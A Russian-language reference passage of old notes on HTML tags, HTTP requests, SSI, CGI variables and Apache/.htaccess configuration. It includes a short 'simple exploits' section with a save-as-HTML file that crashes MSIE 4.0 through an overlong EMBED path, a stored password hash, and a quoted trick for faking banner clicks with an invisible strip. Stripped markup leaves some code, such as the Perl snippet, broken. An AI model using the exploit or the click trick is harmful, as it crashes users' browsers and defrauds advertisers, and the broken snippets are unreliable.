index.html Если просят выдать каталог, то выдают index
если его нет, выдается просто оглавление каталога
HEADER.html Его содержимое добавляется перед началом листинга
README.html Его содержимое добавляется к концу листинга
.htaccess Управляющий файл с локальными настройками текущей директории
Разобраться стоит с этими характеристиками:
Alias - где то должна лежать расшифровка. а сервер будет
ее подставлять.
Вот только где ?
Устанавливает общий отступ вправо.
Вынесенный вправо фрагмент текста
Горизонтальная черта
Окончание параграфа
Жесткий конец строки
Текст между этими тагами не будет переноситься
на новую сторку каким бы длинным он не был
Физические стили
Bold жирный текст Itallic курсив текст Underline подчеркнутый Работает только в Netscape 3
Typewriter текст с фонтом фиксированной ширины Strike перечеркнутый текст
Логические стили
Definition. Определяемое слово italic
Emphasis. Ударение italic
Titles of books. Цитата italic
Programm. Программный текст fixed
User keyboard entry. bold fixed
Status message fixed
Variable. italic Strong emphasis. bold
Выделяется адрес italic
Управление цветами и фонтами
_BODY_ таги срабатывают только если расположены в самом начале документа
А так устанавливают собственные цвета во всем документе
А так делали траурные колера, когда протестовали.
Текст бОльшего размера, и покрашенный в красный цвет, с заданным типом фонта
Дальше пойдет текст с фонтом заданного размера
а так же background звук
Если нужен текст сбоку
от картинки
Отступ текста от картинки
ALT - что написать, если картинка не читается,
LOWRES - перед рисованием большой картинки загрузить эту - маленькую
Так подкладывают BACKGROUND
Таблички -
tr - задает строку Столбец
Столбец
Внутри таблицы может быть такой таг, Подзаголовок?
КРУПНЫЙ ТЕКСТ В БЛОКЕ
прозрачный отступ: spacer
Табличка с цветным блочным заголовком и рамочкой
$M{Ti}{$PI}
$RazdelOut
О протоколе HTTP/1.*
Клиент открывает tcp соединение с хостом www.host.com на порт
(обычно 80) и говорит туда
GET /local/url/file/name.html HTTP/1.0
Host: www.host.com
Http_referer: url_документа_на_котором_стоял_клиент
Еще некоторое количество заголовков,
которые рассказывают серверу, кто с ним имеет дело.
Все они, кроме GET необязательны
. . .
^M^J - пустая строка - конец заголовков - конец запроса
Обратно вываливается ответ сервера:
http-шные заголовки
на нескольких строках
^M^J - пустая строка
Собственно запрошенный документ as is
Упражнение: скажите
$ telnet www 80
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
GET /index.html HTTP/1.0
И потом два раза нажмите на Enter
Как работет докачка в HTTP/1.1 протоколе?
В запрос вставляется специальное поле "Range: bytes nnn-".
Сервер с докачкой возвращает код 206 - "Часть содержимого" и
передает запрошенную часть файла. Если сервер не поддерживает
докачки, он просто возвращает 200 и высылает весь файл как при
обычном запросе.
SSI - Server Side Includes
Полная спецификация лежит, например на www.apache.org
0. Чтобы SSI-файлы взводили Last-modified, добавить в конфиг
XBitHack full
и сделать им chmod g+x file.shtml
1. Чтобы SSI выполнялись, необходимо задать в конфигурационных
файлах сервера:
/etc/httpd/conf/access.conf :------------------------
# "Включить"
Options +Includes # или даже Options All
/etc/httpd/conf/srm.conf :------------------------
AddType text/html .shtml
AddHandler server-parsed .shtml
2. Тогда SSI отрабатываются только в файлах с расширением .shtml
Примеры:
charset=
The value will often be enclosed in double quotes; many com╜
mands only allow a single attribute-value pair.
The allowed ELEMENTS are:
config - параметры парсинга
Атрибуты config
errmsg - сообщение об ошибке, посылаемое клиенту
sizefmt - формат размера файла
timefmt - формат даты модификации файла
var - напечатать имя переменной
exec - выполнить shell или CGI-скрипт
cgi - (%-encoded) URL relative path to the CGI script.
cmd - выполнить shell
fsize - напечатать размер файла
file - относительное имя файла
virtual -(%-encoded) URL-path relative файла
flastmod - последннее время модификации файла
include - вставить документ
file - вставляемый файл
virtual - URL - только на этом же хосте
Include variables
These are available for the echo command, and to any program
invoked by the document.
DATE_GMT
The current date in Greenwich Mean Time.
DATE_LOCAL
The current date in the local time zone.
DOCUMENT_NAME
The filename (excluding directories) of the document requested
by the user.
DOCUMENT_URI
The (%-decoded) URL path of the document requested by the user.
Note that in the case of nested
include files, this is not then URL for the current document.
LAST_MODIFIED
The last modification date of the document requested by the user.
If server side includes are enabled, you will see data values below:
The date is:
The current version of the server
The CGI gateway version
The server name
This file is called:
This file's URI
The query string
This file was last modified:
The size of the unprocessed file
sample.html was last modified
You are using
You came from
# Эмуляция SSI в perl-cgi
if (//) {
print $`;$tmp = $';
open (INC,"$inc") || die "Can't Open $inc: $!\n";
while () {
if (//) {
@time = localtime ( time() ); $time[4]++;
if ($time[4] < 10) { $time[4] = "0" . "$time[4]"; }
s//$time[3].$time[4].$time[5]/g;
}
print $_;
}
close(INC);
print "$tmp";
}
Управление доступом через httpd.conf
SetEnvIfNoCase Referer rusf\.ru internal_referer
SetEnvIfNoCase User-Agent Teleport internal_referer
SetEnvIfNoCase User-Agent Vampire internal_referer
SetEnvIfNoCase User-Agent ReGet internal_referer
SetEnvIfNoCase User-Agent GetRight internal_referer
SetEnvIfNoCase User-Agent Wget internal_referer
ErrorDocument 403 http://rusf.ru/books/index.htm
order deny,allow
deny from all
allow from env=internal_referer
# No offline browsers в robots.txt
User-Agent: DISCo Pump, Wget, WebZIP, Teleport Pro, WebSnake, Offline
Explorer, Web-By-Mail
Disallow: /
CGI - спецификация интерфейса между сервером httpd
и внешними, вызываемыми программами - gateeway'ями.
Сам CGI-script должен лежать в /home/httpd/cgi-bin
тогда его находят (или в других каталогах, описанных в acces.conf
Данные передаются в командной строке, через переменные
окружения, и через стандартный ввод. Возвращаются на
стандартный вывод, в начале должна стоять "волшебная строка"
Если добавить в коннфигурационный файл
/etc/httpd/conf/srm.conf :------------------------
AddType application/x-httpd-cgi .cgi
То CGI-скрипты можно будет клась в любой подкаталог дерева
документов - с расширением .cgi
Формы и индексы
Войти в файл, и спозиционироваться на строку с шаблоном "cl"
http://hoohoo.ncsa.uiuc.edu/file.html#cl
Request for a CGI script with no extra path information and no query.
http://hoohoo.ncsa.uiuc.edu/cgi-bin/test-cgi
Request for a script with extra path information, and no query.
http://hoohoo.ncsa.uiuc.edu/cgi-bin/test-cgi/extra/path
Request for a script with no extra path information, and an ISINDEX query.
http://hoohoo.ncsa.uiuc.edu/cgi-bin/test-cgi?query
Request for a script with extra path information as well as an ISINDEX query.
http://hoohoo.ncsa.uiuc.edu/cgi-bin/test-cgi/extra/path?a+query
Вызывается одна и та же программа, но ей передается 0,1,1 или 2 аргумента:
extra path - "добавочный маршрут", идущий вслед за именем екзешника
query - длинная строка после знака "?"
на extra path работает image map - им передается имя описателя картинки
query передается заполненным ISINDEX
CGI-скрипту передаются такие параметры:
Параметры передаются в переменных окружения.
REMOTE_ADDR=127.0.0.1
REMOTE_HOST=localhost
HTTP_REFERER=http://www.ac.msk.su:80/cgi-bin/html-KOI?KSP/bachurin.txt
REQUEST_METHOD=GET
QUERY_STRING=query
PATH_INFO=/marshrut
PATH_TRANSLATED=/home/httpd/docs/marshrut
SCRIPT_NAME=/cgi-bin/proba
HTTP_USER_AGENT=NCSA Mosaic for the X Window System/2.4 libwww/2.12 modified
А теперь вот как оформляются формы с checkbox'ами:
# ISINDEX - параметр запроса передается пргограмме CGI в $1
# В форме METHOD=GET - там вызывается команда которой передается
# аргумент в переменной окружения QUERY_STRING
# http://hoohoo.ncsa.uiuc.edu/cgi-bin/test-cgi?button1=on&button2=off
# А вот как работает POST, и PUT. Дополнительная информация проталкивается
клиентом на сервер. Сервер подает ее cgi-программе на стандартный ввод.
длина посылаемого файла устанавливается в переменной окружения CONTENT_LENGTH
а тип данных - в CONTENT_TYPE
FORM ACTION="http://hoohoo.ncsa.uiuc.edu/cgi-bin/test-cgi" METHOD="POST"
Что мы посылаем клиенту обратно:
Status: 200 OK
Status: 404 File not found
Content-type: text/html
Содержимое, которое кидается сквозь нашего сервера - клиенту
Если я генерю не содержимое, а только ссылку, то:
Location: /path/doc.txt
или
Location: gopher://gopher.ncsa.uiuc.edu/
Генерим текст в чистом серверном виде - он поедет
клиенту сразу, без дополнительной фильтрации:
--- start of output ---
HTTP/1.0 200 OK
Date: Tuesday, 26-Dec-95 15:17:10 GMT
Server: NCSA/1.3
MIME-version: 1.0
Content-type: text/html
Last-modified: Tuesday, 24-Dec-95 15:15:41 GMT
Content-length: 3132
This is a plaintext document generated on the fly just for you.
--- end of output ---
Подставляйте туда соответствующие значения переменных
$SERVER_PROTOCOL $SERVER_SOFTWARE
Фенечки
Автоподстановка URL с timeout'ом. Подставить в начало документа:
Дальше идет местный HTML-документ - который через 12 секунд будет
автоматически заменен на вышеуказанный URL
Вообще - таг META HTTP-EQUIV позволяет взвести дополнительные поля в
HTTP-заголовок документа. Например "насильственное взведение charset'а:
Content-type: text/html
Set-Cookie: cookiename=valueofcookie; expires=Saturday, 28-Feb-96 23:59:59 GMT; path=/cgi-bin/mycgiprogram
Эта штучка будет автоматом отсылаться в наш сервер клиентом, как только он ее получил
Подробнее см. http://citforum.ru/win/internet/html/c_what_is.shtml
Если сказать так, то клиент останется на старом месте, и не
будет переходить по ссылке
Status: 204 No Content
А такой линк позволяет сразу заполнить некоторые поля в mailto послании
tets
Самокликаемое письмо
> Была идея посылать в него сообщение когда мышкой над баннером проводят.
> (Когда баннер интересен, часто к нему курсор подводят)
> Но что-то я не допёр как это реализовать без hidden frame.
В правилах устанавливаешь, что у тебя _стандартный код_
твоей сетки содержит:
Когда клиент будет снизу _пересекать_ мышью твою однопиксельную
полоску будет автоклик, а чтоб клиента не напрягать -
пускай твой http://koshelev.ru/cgi-bin/bannerOver
возвращает код 204 No Content - т.е. _не переходить_ на линк а
остаться на старой странице.
Ссылка на которую переходят автоматически
Достаточно навести на эту ссылку мышь, и броузер пойдет по
линку - без клика.
Простые эксплойты
MSIE 4.0. 4.01 can be crashed with a little help of the < EMBED > tag.
<EMBED SRC=file://C|/A.ABOUT_200_CHARACTERS_HERE___________________>
opens a dialog box and closes IE 4.0. the long file extension causes stack overrun.
--------cut here and save as crashmsie.html---------------------
Trying to crash IE 4.0
<EMBED
SRC=file://C|/A.012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789>
40
80 160 170 180 190 200
</HTML>
---------------------------------------------------------------
Закрытие каталогов для внешних клиентов
Создаем в каталоге файл .htaccess такого содержания
order deny,allow
deny from all
allow from polimos.ras.ru localhost
Order deny,all
Allow from .abc.ru
Deny from all
Satisfy any
AuthType Basic
AuthName lenta.ru
AuthUserFile /home/www/passwd
# moshkow:1HrhNpfYnwTau стандартный crypt()
require valid-user
Русский apache берется с http://apache.lexa.ru
Php4 берется с http://download.php.net/distributions/php-4.0.6.tar.gz
Для динамической линковки php в апаче должен быть установлен модуль mod_so.c
httpd$ ./configure --prefix=/home/ej/apache --add-module=src/modules/standard/mod_so.c
make install
php$ ./configure --prefix=/home/ej/apache --with-mysql --with-apxs=/home/ej/apache/bin/apxs --with-mod_charset
make install